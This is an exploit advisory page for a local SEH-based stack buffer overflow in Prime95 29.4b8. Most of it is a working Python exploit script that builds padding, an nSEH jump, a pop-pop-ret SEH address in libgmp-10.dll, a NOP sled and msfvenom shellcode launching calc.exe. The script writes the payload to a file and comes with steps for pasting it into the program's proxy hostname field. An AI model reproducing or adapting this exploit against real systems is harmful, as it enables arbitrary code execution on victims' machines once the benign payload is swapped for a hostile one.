Prime95 29.4b8 Stack Buffer Overflow

2018.05.19
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: Prime95 Local Buffer Overflow (SEH) # Date: 13-4-2018 # Exploit Author: crash_manucoot # Contact: twitter.com/crash_manucoot # Vendor Homepage: https://www.mersenne.org/ # Software Link: https://www.mersenne.org/download/#download # Version: 29.4b8 # Tested on: Windows 10 Pro x64 SPANISH Windows 7 Home Premium x86 SPANISH Windows XP SP3 SPANISH # Category: Windows Local Exploit # How to use: open the program go to test-PrimeNet-check the square-Connections paste the contents of open.txt in the optional proxy hostname field and the calculator will open buffer = "A" * 660 nseh = "\xeb\x06\x90\x90" seh = "\x6B\xB0\xED\x6A" #pop esi # pop ebx # ret | {PAGE_EXECUTE_READ} [libgmp-10.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0 nop = "\x90" * 16 #msfvenom -p windows/exec CMD=calc.exe -b "\x00" -f python -v shellcode shellcode = "" shellcode += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d" shellcode += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5" shellcode += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde" shellcode += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb" shellcode += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32" shellcode += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84" shellcode += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27" shellcode += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3" shellcode += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5" shellcode += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8" shellcode += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3" shellcode += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78" shellcode += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15" shellcode += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a" shellcode += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05" shellcode += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b" shellcode += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26" shellcode += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82" shellcode += "\x8e\x2a\x79\xdb" evil = buffer + nseh + seh + nop + shellcode file = open('open.txt','w+') file.write(evil) file.close()


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